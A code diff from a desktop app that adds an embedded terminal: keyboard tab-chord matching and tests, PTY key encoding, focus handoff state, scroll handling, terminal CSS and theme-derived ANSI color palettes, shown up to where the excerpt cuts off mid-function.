|
||||||
|
code: "KeyT",
|
||||||
|
ctrlKey: false,
|
||||||
|
metaKey: false,
|
||||||
|
shiftKey: false,
|
||||||
|
...overrides,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
test("tab chords match the platform's primary modifier only", () => {
|
||||||
|
assert.equal(matchTabChord(chord({ metaKey: true }), true), "new");
|
||||||
|
assert.equal(
|
||||||
|
matchTabChord(chord({ code: "KeyW", metaKey: true }), true),
|
||||||
|
"close",
|
||||||
|
);
|
||||||
|
assert.equal(
|
||||||
|
matchTabChord(
|
||||||
|
chord({ code: "ArrowLeft", metaKey: true, shiftKey: true }),
|
||||||
|
true,
|
||||||
|
),
|
||||||
|
"previous",
|
||||||
|
);
|
||||||
|
assert.equal(
|
||||||
|
matchTabChord(
|
||||||
|
chord({ code: "ArrowRight", metaKey: true, shiftKey: true }),
|
||||||
|
true,
|
||||||
|
),
|
||||||
|
"next",
|
||||||
|
);
|
||||||
|
|
||||||
|
// The whole reason the matcher takes `isMac`: on macOS ^W is werase and ^T
|
||||||
|
// transposes. Claiming them here would swallow them before the textarea
|
||||||
|
// could encode them for the PTY.
|
||||||
|
assert.equal(matchTabChord(chord({ ctrlKey: true }), true), null);
|
||||||
|
assert.equal(
|
||||||
|
matchTabChord(chord({ code: "KeyW", ctrlKey: true }), true),
|
||||||
|
null,
|
||||||
|
);
|
||||||
|
assert.equal(
|
||||||
|
matchTabChord(chord({ ctrlKey: true, metaKey: true }), true),
|
||||||
|
null,
|
||||||
|
"Control must veto even alongside Command",
|
||||||
|
);
|
||||||
|
|
||||||
|
// Non-mac mirrors it: Ctrl is primary, Meta is not.
|
||||||
|
assert.equal(matchTabChord(chord({ ctrlKey: true }), false), "new");
|
||||||
|
assert.equal(matchTabChord(chord({ metaKey: true }), false), null);
|
||||||
|
|
||||||
|
// Unmodified and Alt-modified keys stay with the terminal.
|
||||||
|
assert.equal(matchTabChord(chord({}), true), null);
|
||||||
|
assert.equal(
|
||||||
|
matchTabChord(chord({ altKey: true, metaKey: true }), true),
|
||||||
|
null,
|
||||||
|
);
|
||||||
|
// Arrows without Shift are cursor keys, not tab switches.
|
||||||
|
assert.equal(
|
||||||
|
matchTabChord(chord({ code: "ArrowLeft", metaKey: true }), true),
|
||||||
|
null,
|
||||||
|
);
|
||||||
|
// Shift+Cmd+T/W are not chords we claim.
|
||||||
|
assert.equal(
|
||||||
|
matchTabChord(chord({ metaKey: true, shiftKey: true }), true),
|
||||||
|
null,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("tab stepping wraps and skips tabs whose select button is disabled", () => {
|
||||||
|
const three = [
|
||||||
|
{ active: false, closing: false, id: "a" },
|
||||||
|
{ active: true, closing: false, id: "b" },
|
||||||
|
{ active: false, closing: false, id: "c" },
|
||||||
|
];
|
||||||
|
assert.equal(stepSession(three, 1), "c");
|
||||||
|
assert.equal(stepSession(three, -1), "a");
|
||||||
|
|
||||||
|
// Wrap at both ends.
|
||||||
|
const first = [
|
||||||
|
{ active: true, closing: false, id: "a" },
|
||||||
|
{ active: false, closing: false, id: "b" },
|
||||||
|
];
|
||||||
|
assert.equal(stepSession(first, -1), "b");
|
||||||
|
assert.equal(stepSession(first, 1), "b");
|
||||||
|
|
||||||
|
// A closing tab is disabled in the tab bar, so the keyboard skips past it.
|
||||||
|
assert.equal(
|
||||||
|
stepSession(
|
||||||
|
[
|
||||||
|
{ active: true, closing: false, id: "a" },
|
||||||
|
{ active: false, closing: true, id: "b" },
|
||||||
|
{ active: false, closing: false, id: "c" },
|
||||||
|
],
|
||||||
|
1,
|
||||||
|
),
|
||||||
|
"c",
|
||||||
|
);
|
||||||
|
|
||||||
|
// Nowhere to go: single tab, and all-others-closing.
|
||||||
|
assert.equal(
|
||||||
|
stepSession([{ active: true, closing: false, id: "a" }], 1),
|
||||||
|
null,
|
||||||
|
);
|
||||||
|
assert.equal(
|
||||||
|
stepSession(
|
||||||
|
[
|
||||||
|
{ active: true, closing: false, id: "a" },
|
||||||
|
{ active: false, closing: true, id: "b" },
|
||||||
|
],
|
||||||
|
1,
|
||||||
|
),
|
||||||
|
null,
|
||||||
|
);
|
||||||
|
assert.equal(stepSession([], 1), null);
|
||||||
|
});
|
||||||
183
desktop/src/features/terminal/terminalState.ts
Normal file
183
desktop/src/features/terminal/terminalState.ts
Normal file
@@ -0,0 +1,183 @@
|
|||||||
|
export type TerminalOwner = "buzz" | "terminal";
|
||||||
|
|
||||||
|
export type HandoffState = {
|
||||||
|
owner: TerminalOwner;
|
||||||
|
chordArmed: boolean;
|
||||||
|
composing: boolean;
|
||||||
|
};
|
||||||
|
|
||||||
|
export type HandoffAction =
|
||||||
|
| { type: "composition-start" }
|
||||||
|
| { type: "composition-end" }
|
||||||
|
| { type: "chord-down"; repeat: boolean }
|
||||||
|
| { type: "chord-up" }
|
||||||
|
| { type: "focus-lost" };
|
||||||
|
|
||||||
|
export type HandoffResult = {
|
||||||
|
state: HandoffState;
|
||||||
|
toggled: boolean;
|
||||||
|
};
|
||||||
|
|
||||||
|
export const INITIAL_HANDOFF_STATE: HandoffState = {
|
||||||
|
owner: "buzz",
|
||||||
|
chordArmed: false,
|
||||||
|
composing: false,
|
||||||
|
};
|
||||||
|
|
||||||
|
/** The shortcut is a transaction completed only by a matching key-up. */
|
||||||
|
export function reduceHandoff(
|
||||||
|
state: HandoffState,
|
||||||
|
action: HandoffAction,
|
||||||
|
): HandoffResult {
|
||||||
|
if (action.type === "composition-start") {
|
||||||
|
return {
|
||||||
|
state: { ...state, chordArmed: false, composing: true },
|
||||||
|
toggled: false,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
if (action.type === "composition-end") {
|
||||||
|
return { state: { ...state, composing: false }, toggled: false };
|
||||||
|
}
|
||||||
|
if (action.type === "focus-lost") {
|
||||||
|
return { state: { ...state, chordArmed: false }, toggled: false };
|
||||||
|
}
|
||||||
|
if (action.type === "chord-down") {
|
||||||
|
if (state.composing || action.repeat) return { state, toggled: false };
|
||||||
|
return { state: { ...state, chordArmed: true }, toggled: false };
|
||||||
|
}
|
||||||
|
if (!state.chordArmed || state.composing) {
|
||||||
|
return {
|
||||||
|
state: { ...state, chordArmed: false },
|
||||||
|
toggled: false,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
return {
|
||||||
|
state: {
|
||||||
|
...state,
|
||||||
|
chordArmed: false,
|
||||||
|
owner: state.owner === "buzz" ? "terminal" : "buzz",
|
||||||
|
},
|
||||||
|
toggled: true,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
export function encodeTerminalKey(event: {
|
||||||
|
key: string;
|
||||||
|
ctrlKey: boolean;
|
||||||
|
altKey: boolean;
|
||||||
|
metaKey: boolean;
|
||||||
|
}): string | null {
|
||||||
|
if (event.metaKey) return null;
|
||||||
|
const special: Readonly<Record<string, string>> = {
|
||||||
|
Enter: "\r",
|
||||||
|
Backspace: "\u007f",
|
||||||
|
Tab: "\t",
|
||||||
|
Escape: "\u001b",
|
||||||
|
ArrowUp: "\u001b[A",
|
||||||
|
ArrowDown: "\u001b[B",
|
||||||
|
ArrowRight: "\u001b[C",
|
||||||
|
ArrowLeft: "\u001b[D",
|
||||||
|
Home: "\u001b[H",
|
||||||
|
End: "\u001b[F",
|
||||||
|
Delete: "\u001b[3~",
|
||||||
|
PageUp: "\u001b[5~",
|
||||||
|
PageDown: "\u001b[6~",
|
||||||
|
};
|
||||||
|
const specialValue = special[event.key];
|
||||||
|
if (specialValue) return `${event.altKey ? "\u001b" : ""}${specialValue}`;
|
||||||
|
if (event.ctrlKey && event.key.length === 1) {
|
||||||
|
const code = event.key.toUpperCase().charCodeAt(0);
|
||||||
|
if (code >= 64 && code <= 95) return String.fromCharCode(code - 64);
|
||||||
|
}
|
||||||
|
if (event.altKey && event.key.length === 1) return `\u001b${event.key}`;
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
export type TabChord = "close" | "new" | "next" | "previous";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Tab-management chords, matched on `code` so they survive alternate layouts.
|
||||||
|
* `isMac` is a parameter rather than a `navigator` read so matching stays pure,
|
||||||
|
* the same shape as `matchBackForwardChord`.
|
||||||
|
*
|
||||||
|
* The modifier is the platform's primary one and *only* that one — deliberately
|
||||||
|
* narrower than the sibling `isToggleChord`, which accepts either. On macOS
|
||||||
|
* `^W` is werase and `^T` is transpose; a capture-phase listener that claimed
|
||||||
|
* them would consume the event before the textarea could encode it, so Control
|
||||||
|
* must keep falling through to the PTY. Non-mac platforms pay the mirror cost
|
||||||
|
* on Ctrl (matching gnome-terminal, which moves its own tab chords onto
|
||||||
|
* Ctrl+Shift for exactly this reason) — see the report for why that is scoped
|
||||||
|
* out rather than solved here.
|
||||||
|
*
|
||||||
|
* ⌘W is matched even though macOS currently resolves it as the File > Close
|
||||||
|
* Window key equivalent before the webview sees any key event: the accelerator
|
||||||
|
* has to be released natively for this arm to ever run, and matching it now
|
||||||
|
* means the frontend needs no further change when it is.
|
||||||
|
*/
|
||||||
|
export function matchTabChord(
|
||||||
|
event: {
|
||||||
|
altKey: boolean;
|
||||||
|
code: string;
|
||||||
|
ctrlKey: boolean;
|
||||||
|
metaKey: boolean;
|
||||||
|
shiftKey: boolean;
|
||||||
|
},
|
||||||
|
isMac: boolean,
|
||||||
|
): TabChord | null {
|
||||||
|
if (event.altKey) return null;
|
||||||
|
if (isMac ? !event.metaKey || event.ctrlKey : !event.ctrlKey || event.metaKey)
|
||||||
|
return null;
|
||||||
|
if (event.shiftKey) {
|
||||||
|
if (event.code === "ArrowLeft") return "previous";
|
||||||
|
if (event.code === "ArrowRight") return "next";
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
if (event.code === "KeyT") return "new";
|
||||||
|
if (event.code === "KeyW") return "close";
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The id ⇧⌘←/→ moves to, wrapping at both ends.
|
||||||
|
*
|
||||||
|
* Closing tabs are skipped because the tab bar disables their select button —
|
||||||
|
* the keyboard path must not reach a tab the mouse path cannot.
|
||||||
|
*/
|
||||||
|
export function stepSession(
|
||||||
|
sessions: readonly { active: boolean; closing: boolean; id: string }[],
|
||||||
|
direction: -1 | 1,
|
||||||
|
): string | null {
|
||||||
|
const count = sessions.length;
|
||||||
|
const activeIndex = sessions.findIndex((session) => session.active);
|
||||||
|
if (activeIndex < 0) return null;
|
||||||
|
for (let offset = 1; offset < count; offset += 1) {
|
||||||
|
const index =
|
||||||
|
(((activeIndex + direction * offset) % count) + count) % count;
|
||||||
|
const candidate = sessions[index];
|
||||||
|
if (!candidate.closing) return candidate.id;
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function encodePaste(text: string, bracketed: boolean): string {
|
||||||
|
return bracketed ? `\u001b[200~${text}\u001b[201~` : text;
|
||||||
|
}
|
||||||
|
|
||||||
|
export type ScrollAccumulator = { remainderPx: number };
|
||||||
|
|
||||||
|
/** Preserve sub-cell trackpad movement instead of truncating every event. */
|
||||||
|
export function accumulateScrollLines(
|
||||||
|
state: ScrollAccumulator,
|
||||||
|
deltaPx: number,
|
||||||
|
cellHeight: number,
|
||||||
|
): { state: ScrollAccumulator; lines: number } {
|
||||||
|
if (!(cellHeight > 0) || !Number.isFinite(deltaPx)) {
|
||||||
|
return { state, lines: 0 };
|
||||||
|
}
|
||||||
|
const total = state.remainderPx + deltaPx;
|
||||||
|
const lines = Math.trunc(total / cellHeight);
|
||||||
|
return {
|
||||||
|
state: { remainderPx: total - lines * cellHeight },
|
||||||
|
lines,
|
||||||
|
};
|
||||||
|
}
|
||||||
@@ -3,6 +3,8 @@ import ReactDOM from "react-dom/client";
|
|||||||
import { App } from "@/app/App";
|
import { App } from "@/app/App";
|
||||||
import { NostrBindConsentDialog } from "@/features/profile/ui/NostrBindConsentDialog";
|
import { NostrBindConsentDialog } from "@/features/profile/ui/NostrBindConsentDialog";
|
||||||
import "@fontsource-variable/inter/wght.css";
|
import "@fontsource-variable/inter/wght.css";
|
||||||
|
import "@fontsource/jetbrains-mono/400.css";
|
||||||
|
import "@fontsource/jetbrains-mono/700.css";
|
||||||
import "@/shared/styles/globals.css";
|
import "@/shared/styles/globals.css";
|
||||||
import { UpdaterProvider } from "@/features/settings/hooks/UpdaterProvider";
|
import { UpdaterProvider } from "@/features/settings/hooks/UpdaterProvider";
|
||||||
import { migrateLegacyCommunityStorageBeforeRender } from "@/features/communities/legacyCommunityStorage";
|
import { migrateLegacyCommunityStorageBeforeRender } from "@/features/communities/legacyCommunityStorage";
|
||||||
|
|||||||
@@ -2,6 +2,7 @@ import * as React from "react";
|
|||||||
|
|
||||||
const BOUNDARY_EPSILON_PX = 1;
|
const BOUNDARY_EPSILON_PX = 1;
|
||||||
const CONVERSATION_SCROLL_SELECTOR = "[data-buzz-conversation-scroll]";
|
const CONVERSATION_SCROLL_SELECTOR = "[data-buzz-conversation-scroll]";
|
||||||
|
const TERMINAL_SUBSTRATE_SELECTOR = '[data-terminal-owner="terminal"]';
|
||||||
const SCROLLABLE_OVERFLOW_VALUES = new Set(["auto", "scroll", "overlay"]);
|
const SCROLLABLE_OVERFLOW_VALUES = new Set(["auto", "scroll", "overlay"]);
|
||||||
|
|
||||||
function isHTMLElement(value: EventTarget | null): value is HTMLElement {
|
function isHTMLElement(value: EventTarget | null): value is HTMLElement {
|
||||||
@@ -96,12 +97,14 @@ export function useWebviewScrollBoundaryLock(enabled = true) {
|
|||||||
|
|
||||||
const path = event.composedPath();
|
const path = event.composedPath();
|
||||||
let firstScrollable: HTMLElement | null = null;
|
let firstScrollable: HTMLElement | null = null;
|
||||||
|
let targetsTerminal = false;
|
||||||
|
|
||||||
for (const target of path) {
|
for (const target of path) {
|
||||||
if (!isHTMLElement(target)) {
|
if (!isHTMLElement(target)) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
targetsTerminal ||= target.matches(TERMINAL_SUBSTRATE_SELECTOR);
|
||||||
const scrollableY = deltaY !== 0 && isScrollableY(target);
|
const scrollableY = deltaY !== 0 && isScrollableY(target);
|
||||||
const scrollableX = deltaX !== 0 && isScrollableX(target);
|
const scrollableX = deltaX !== 0 && isScrollableX(target);
|
||||||
if (!scrollableY && !scrollableX) {
|
if (!scrollableY && !scrollableX) {
|
||||||
@@ -117,6 +120,13 @@ export function useWebviewScrollBoundaryLock(enabled = true) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Custom terminal scrollback consumes vertical wheel gestures without a
|
||||||
|
// native scroll container, so it must not be mistaken for dead space.
|
||||||
|
// Predominantly horizontal gestures remain locked below.
|
||||||
|
if (targetsTerminal && Math.abs(deltaY) >= Math.abs(deltaX)) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
// Only the vertical elastic affordance of conversation scrollers is
|
// Only the vertical elastic affordance of conversation scrollers is
|
||||||
// preserved; a predominantly horizontal gesture must never pan the
|
// preserved; a predominantly horizontal gesture must never pan the
|
||||||
// webview, even over a conversation pane.
|
// webview, even over a conversation pane.
|
||||||
|
|||||||
@@ -751,3 +751,119 @@
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@layer components {
|
||||||
|
.buzz-terminal-substrate {
|
||||||
|
background: var(--buzz-terminal-background, #101014);
|
||||||
|
color: var(--buzz-terminal-foreground, #e8e8ec);
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
font-family: "JetBrains Mono", monospace;
|
||||||
|
font-variant-ligatures: none;
|
||||||
|
inset: 0;
|
||||||
|
position: absolute;
|
||||||
|
user-select: none;
|
||||||
|
z-index: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.buzz-terminal-contract-bar {
|
||||||
|
align-items: stretch;
|
||||||
|
border-bottom: 1px solid hsl(var(--border));
|
||||||
|
display: flex;
|
||||||
|
flex: 0 0 32px;
|
||||||
|
justify-content: space-between;
|
||||||
|
min-width: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.buzz-terminal-tabs,
|
||||||
|
.buzz-terminal-readout {
|
||||||
|
align-items: center;
|
||||||
|
display: flex;
|
||||||
|
min-width: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.buzz-terminal-tab,
|
||||||
|
.buzz-terminal-tab-select,
|
||||||
|
.buzz-terminal-close,
|
||||||
|
.buzz-terminal-new-tab {
|
||||||
|
align-items: center;
|
||||||
|
background: transparent;
|
||||||
|
border: 0;
|
||||||
|
color: inherit;
|
||||||
|
display: flex;
|
||||||
|
font: inherit;
|
||||||
|
gap: 8px;
|
||||||
|
height: 100%;
|
||||||
|
opacity: 0.62;
|
||||||
|
padding: 0 10px;
|
||||||
|
position: relative;
|
||||||
|
}
|
||||||
|
|
||||||
|
.buzz-terminal-tab-active {
|
||||||
|
opacity: 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
.buzz-terminal-tab-active::after {
|
||||||
|
background: hsl(var(--buzz-selected-accent));
|
||||||
|
bottom: 0;
|
||||||
|
content: "";
|
||||||
|
height: 1px;
|
||||||
|
left: 0;
|
||||||
|
position: absolute;
|
||||||
|
right: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.buzz-terminal-designator,
|
||||||
|
.buzz-terminal-readout {
|
||||||
|
font-size: 0.5625rem;
|
||||||
|
letter-spacing: 0.12em;
|
||||||
|
text-transform: uppercase;
|
||||||
|
}
|
||||||
|
|
||||||
|
.buzz-terminal-close {
|
||||||
|
opacity: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.buzz-terminal-tab:hover .buzz-terminal-close,
|
||||||
|
.buzz-terminal-close:focus {
|
||||||
|
opacity: 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
.buzz-terminal-readout {
|
||||||
|
gap: 14px;
|
||||||
|
padding: 0 12px;
|
||||||
|
white-space: nowrap;
|
||||||
|
}
|
||||||
|
|
||||||
|
.buzz-terminal-viewport,
|
||||||
|
.buzz-terminal-viewport canvas {
|
||||||
|
height: 100%;
|
||||||
|
min-height: 0;
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.buzz-terminal-viewport {
|
||||||
|
overflow: hidden;
|
||||||
|
position: relative;
|
||||||
|
}
|
||||||
|
|
||||||
|
.buzz-terminal-viewport canvas {
|
||||||
|
display: block;
|
||||||
|
}
|
||||||
|
|
||||||
|
.buzz-terminal-welcome {
|
||||||
|
inset: 0;
|
||||||
|
pointer-events: none;
|
||||||
|
position: absolute;
|
||||||
|
z-index: 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
.buzz-terminal-input {
|
||||||
|
height: 1px;
|
||||||
|
left: -10000px;
|
||||||
|
opacity: 0;
|
||||||
|
position: absolute;
|
||||||
|
top: 0;
|
||||||
|
width: 1px;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -15,6 +15,7 @@ import { createThemeVars, hexToHsl } from "./adaptive-theme";
|
|||||||
import {
|
import {
|
||||||
SYNTAX_THEMES,
|
SYNTAX_THEMES,
|
||||||
type SyntaxThemeName,
|
type SyntaxThemeName,
|
||||||
|
type ThemeInfo,
|
||||||
extractThemeInfo,
|
extractThemeInfo,
|
||||||
getThemePair,
|
getThemePair,
|
||||||
loadThemeData,
|
loadThemeData,
|
||||||
@@ -55,6 +56,7 @@ type ThemeContextValue = {
|
|||||||
accentColor: string;
|
accentColor: string;
|
||||||
followSystem: boolean;
|
followSystem: boolean;
|
||||||
hasPair: boolean;
|
hasPair: boolean;
|
||||||
|
terminalPalette: ThemeInfo["terminalPalette"] | null;
|
||||||
setTheme: (name: string) => void;
|
setTheme: (name: string) => void;
|
||||||
setAccentColor: (color: string) => void;
|
setAccentColor: (color: string) => void;
|
||||||
setFollowSystem: (enabled: boolean) => void;
|
setFollowSystem: (enabled: boolean) => void;
|
||||||
@@ -426,9 +428,10 @@ function applyCachedVars(): string | null {
|
|||||||
let themeApplyRequest = 0;
|
let themeApplyRequest = 0;
|
||||||
|
|
||||||
/** Apply a theme: load data, derive CSS vars, set them on :root. */
|
/** Apply a theme: load data, derive CSS vars, set them on :root. */
|
||||||
async function applyTheme(
|
async function applyTheme(name: SyntaxThemeName): Promise<{
|
||||||
name: SyntaxThemeName,
|
isDark: boolean;
|
||||||
): Promise<{ isDark: boolean } | null> {
|
terminalPalette: ThemeInfo["terminalPalette"];
|
||||||
|
} | null> {
|
||||||
const requestToken = ++themeApplyRequest;
|
const requestToken = ++themeApplyRequest;
|
||||||
const themeData = await loadThemeData(name);
|
const themeData = await loadThemeData(name);
|
||||||
if (requestToken !== themeApplyRequest) return null;
|
if (requestToken !== themeApplyRequest) return null;
|
||||||
@@ -477,7 +480,7 @@ async function applyTheme(
|
|||||||
// Storage full — non-critical
|
// Storage full — non-critical
|
||||||
}
|
}
|
||||||
|
|
||||||
return { isDark };
|
return { isDark, terminalPalette: info.terminalPalette };
|
||||||
}
|
}
|
||||||
|
|
||||||
export function ThemeProvider({
|
export function ThemeProvider({
|
||||||
@@ -493,6 +496,9 @@ export function ThemeProvider({
|
|||||||
return document.documentElement.classList.contains("dark");
|
return document.documentElement.classList.contains("dark");
|
||||||
});
|
});
|
||||||
const [isLoading, setIsLoading] = useState(true);
|
const [isLoading, setIsLoading] = useState(true);
|
||||||
|
const [terminalPalette, setTerminalPalette] = useState<
|
||||||
|
ThemeInfo["terminalPalette"] | null
|
||||||
|
>(null);
|
||||||
const loadingRef = useRef<string | null>(null);
|
const loadingRef = useRef<string | null>(null);
|
||||||
const [accentColor, setAccentColorState] = useState<string>(() => {
|
const [accentColor, setAccentColorState] = useState<string>(() => {
|
||||||
return window.localStorage.getItem(ACCENT_STORAGE_KEY) ?? DEFAULT_ACCENT;
|
return window.localStorage.getItem(ACCENT_STORAGE_KEY) ?? DEFAULT_ACCENT;
|
||||||
@@ -535,6 +541,7 @@ export function ThemeProvider({
|
|||||||
// separate re-application here — that avoided the switch-time flicker.
|
// separate re-application here — that avoided the switch-time flicker.
|
||||||
if (loadingRef.current === thisTheme) {
|
if (loadingRef.current === thisTheme) {
|
||||||
setIsDark(result.isDark);
|
setIsDark(result.isDark);
|
||||||
|
setTerminalPalette(result.terminalPalette);
|
||||||
setIsLoading(false);
|
setIsLoading(false);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
@@ -619,6 +626,7 @@ export function ThemeProvider({
|
|||||||
accentColor,
|
accentColor,
|
||||||
followSystem,
|
followSystem,
|
||||||
hasPair,
|
hasPair,
|
||||||
|
terminalPalette,
|
||||||
setTheme,
|
setTheme,
|
||||||
setAccentColor,
|
setAccentColor,
|
||||||
setFollowSystem,
|
setFollowSystem,
|
||||||
|
|||||||
55
desktop/src/shared/theme/terminal-palette.test.mjs
Normal file
55
desktop/src/shared/theme/terminal-palette.test.mjs
Normal file
@@ -0,0 +1,55 @@
|
|||||||
|
import assert from "node:assert/strict";
|
||||||
|
import test from "node:test";
|
||||||
|
|
||||||
|
import {
|
||||||
|
SYNTAX_THEMES,
|
||||||
|
extractThemeInfo,
|
||||||
|
loadThemeData,
|
||||||
|
} from "./theme-loader.ts";
|
||||||
|
import { ANSI_COLOR_NAMES } from "./terminal-palette.ts";
|
||||||
|
|
||||||
|
const HEX = /^#[\da-f]{6}$/;
|
||||||
|
|
||||||
|
test("every bundled theme produces a complete normalized terminal palette", async () => {
|
||||||
|
assert.ok(
|
||||||
|
SYNTAX_THEMES.length > 0,
|
||||||
|
"the bundled theme audit cannot be empty",
|
||||||
|
);
|
||||||
|
|
||||||
|
for (const name of SYNTAX_THEMES) {
|
||||||
|
const theme = await loadThemeData(name);
|
||||||
|
const palette = extractThemeInfo(name, theme).terminalPalette;
|
||||||
|
for (const [slot, color] of Object.entries({
|
||||||
|
background: palette.background,
|
||||||
|
foreground: palette.foreground,
|
||||||
|
cursor: palette.cursor,
|
||||||
|
cursorText: palette.cursorText,
|
||||||
|
...palette.ansi,
|
||||||
|
})) {
|
||||||
|
assert.match(color, HEX, `${name} has invalid ${slot}: ${color}`);
|
||||||
|
}
|
||||||
|
assert.deepEqual(Object.keys(palette.ansi), [...ANSI_COLOR_NAMES]);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("exact ANSI colors win and missing bright colors derive toward contrast", () => {
|
||||||
|
const info = extractThemeInfo("fixture", {
|
||||||
|
name: "fixture",
|
||||||
|
type: "dark",
|
||||||
|
colors: {
|
||||||
|
"editor.background": "#101010",
|
||||||
|
"editor.foreground": "#eeeeee",
|
||||||
|
"terminal.ansiRed": "#123456",
|
||||||
|
},
|
||||||
|
tokenColors: [
|
||||||
|
{ scope: ["string.quoted"], settings: { foreground: "#00aa33" } },
|
||||||
|
],
|
||||||
|
});
|
||||||
|
|
||||||
|
assert.equal(info.terminalPalette.ansi.red, "#123456");
|
||||||
|
assert.equal(info.terminalPalette.ansi.green, "#00aa33");
|
||||||
|
assert.notEqual(
|
||||||
|
info.terminalPalette.ansi.brightRed,
|
||||||
|
info.terminalPalette.ansi.red,
|
||||||
|
);
|
||||||
|
});
|
||||||
181
desktop/src/shared/theme/terminal-palette.ts
Normal file
181
desktop/src/shared/theme/terminal-palette.ts
Normal file
@@ -0,0 +1,181 @@
|
|||||||
|
import type { ThemeRegistrationRaw } from "shiki";
|
||||||
|
|
||||||
|
export const ANSI_COLOR_NAMES = [
|
||||||
|
"black",
|
||||||
|
"red",
|
||||||
|
"green",
|
||||||
|
"yellow",
|
||||||
|
"blue",
|
||||||
|
"magenta",
|
||||||
|
"cyan",
|
||||||
|
"white",
|
||||||
|
"brightBlack",
|
||||||
|
"brightRed",
|
||||||
|
"brightGreen",
|
||||||
|
"brightYellow",
|
||||||
|
"brightBlue",
|
||||||
|
"brightMagenta",
|
||||||
|
"brightCyan",
|
||||||
|
"brightWhite",
|
||||||
|
] as const;
|
||||||
|
|
||||||
|
export type AnsiColorName = (typeof ANSI_COLOR_NAMES)[number];
|
||||||
|
|
||||||
|
export type TerminalPalette = {
|
||||||
|
background: string;
|
||||||
|
foreground: string;
|
||||||
|
cursor: string;
|
||||||
|
cursorText: string;
|
||||||
|
ansi: Readonly<Record<AnsiColorName, string>>;
|
||||||
|
};
|
||||||
|
|
||||||
|
type TokenSetting = {
|
||||||
|
scope?: string | readonly string[];
|
||||||
|
settings?: { foreground?: string };
|
||||||
|
};
|
||||||
|
|
||||||
|
type Rgb = readonly [number, number, number];
|
||||||
|
|
||||||
|
const FALLBACK_HUES: Readonly<Record<string, string>> = {
|
||||||
|
red: "#d75f5f",
|
||||||
|
green: "#5faf87",
|
||||||
|
yellow: "#d7af5f",
|
||||||
|
blue: "#5f87d7",
|
||||||
|
magenta: "#af87d7",
|
||||||
|
cyan: "#5fafd7",
|
||||||
|
};
|
||||||
|
|
||||||
|
const SCOPE_ANCHORS: Readonly<Record<string, readonly string[]>> = {
|
||||||
|
red: ["invalid", "keyword", "deleted"],
|
||||||
|
green: ["string", "inserted", "tag"],
|
||||||
|
yellow: ["type", "class", "escape"],
|
||||||
|
blue: ["function", "call", "method"],
|
||||||
|
magenta: ["numeric", "constant", "operator"],
|
||||||
|
cyan: ["attribute", "parameter", "property"],
|
||||||
|
};
|
||||||
|
|
||||||
|
function parseHex(value: string | undefined): Rgb | null {
|
||||||
|
if (!value) return null;
|
||||||
|
const match = /^#([\da-f]{3}|[\da-f]{6}|[\da-f]{8})$/i.exec(value.trim());
|
||||||
|
if (!match) return null;
|
||||||
|
let hex = match[1];
|
||||||
|
if (hex.length === 3) hex = [...hex].map((part) => `${part}${part}`).join("");
|
||||||
|
if (hex.length === 8) hex = hex.slice(0, 6);
|
||||||
|
return [
|
||||||
|
Number.parseInt(hex.slice(0, 2), 16),
|
||||||
|
Number.parseInt(hex.slice(2, 4), 16),
|
||||||
|
Number.parseInt(hex.slice(4, 6), 16),
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
function toHex(rgb: Rgb): string {
|
||||||
|
return `#${rgb
|
||||||
|
.map((channel) => Math.round(channel).toString(16).padStart(2, "0"))
|
||||||
|
.join("")}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
function normalizeHex(value: string | undefined, fallback: string): string {
|
||||||
|
const color = parseHex(value);
|
||||||
|
return color ? toHex(color) : fallback;
|
||||||
|
}
|
||||||
|
|
||||||
|
function mix(from: string, to: string, amount: number): string {
|
||||||
|
const a = parseHex(from);
|
||||||
|
const b = parseHex(to);
|
||||||
|
if (!a || !b) return from;
|
||||||
|
return toHex([
|
||||||
|
a[0] + (b[0] - a[0]) * amount,
|
||||||
|
a[1] + (b[1] - a[1]) * amount,
|
||||||
|
a[2] + (b[2] - a[2]) * amount,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
function luminance(color: string): number {
|
||||||
|
const rgb = parseHex(color) ?? [0, 0, 0];
|
||||||
|
const channels = rgb.map((channel) => {
|
||||||
|
const value = channel / 255;
|
||||||
|
return value <= 0.04045 ? value / 12.92 : ((value + 0.055) / 1.055) ** 2.4;
|
||||||
|
});
|
||||||
|
return channels[0] * 0.2126 + channels[1] * 0.7152 + channels[2] * 0.0722;
|
||||||
|
}
|
||||||
|
|
||||||
|
function tokenSettings(theme: ThemeRegistrationRaw): readonly TokenSetting[] {
|
||||||
|
const source =
|
||||||
|
(theme as ThemeRegistrationRaw & { tokenColors?: readonly TokenSetting[] })
|
||||||
|
.tokenColors ?? (theme.settings as readonly TokenSetting[] | undefined);
|
||||||
|
return source ?? [];
|
||||||
|
}
|
||||||
|
|
||||||
|
function scopeColor(
|
||||||
|
